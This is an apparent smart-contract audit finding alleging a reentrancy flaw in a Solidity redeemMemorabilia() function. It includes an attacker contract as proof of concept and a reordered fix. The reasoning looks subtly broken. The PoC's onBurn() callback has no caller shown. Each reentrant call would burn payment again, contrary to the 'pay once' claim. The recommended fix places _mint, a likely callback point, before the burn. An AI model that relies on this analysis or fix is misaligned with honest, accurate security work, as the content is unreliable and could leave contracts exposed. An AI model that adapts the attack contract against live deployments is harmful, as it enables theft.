redeemMemorabilia() does not follow CEI and allows reentrancy attack.
Description
The redeemMemorabilia() function should follow the Checks-Effects-Interactions (CEI) pattern to prevent reentrancy attacks. The function performs external calls before updating critical state variables, allowing malicious contracts to reenter and mint duplicate NFTs.
The function calls BeatToken.burnFrom() (external interaction) before incrementing currentItemId and minting the NFT (state effects). A malicious contract can reenter during the burn operation and mint multiple NFTs with the same itemId.
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
Risk
Likelihood:
-
Any user can deploy a malicious contract that implements reentrancy during the burnFrom callback
-
The attack is economically profitable as users get multiple valuable NFTs for the price of one
-
No special permissions or complex setup required
Impact:
-
Attackers can mint multiple unique NFTs while only paying once
-
Collection supplies can be drained faster than intended
-
Economic damage to the festival ecosystem through asset inflation
-
Legitimate users may be unable to purchase memorabilia due to artificial scarcity
Proof of Concept
contract MaliciousReentrancy {
FestivalPass public festival;
uint256 public targetCollection;
bool public attacking;
function attack(uint256 collectionId) external {
targetCollection = collectionId;
attacking = true;
festival.redeemMemorabilia(collectionId);
}
function onBurn() external {
if (attacking) {
attacking = false;
festival.redeemMemorabilia(targetCollection);
}
}
}
Recommended Mitigation
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}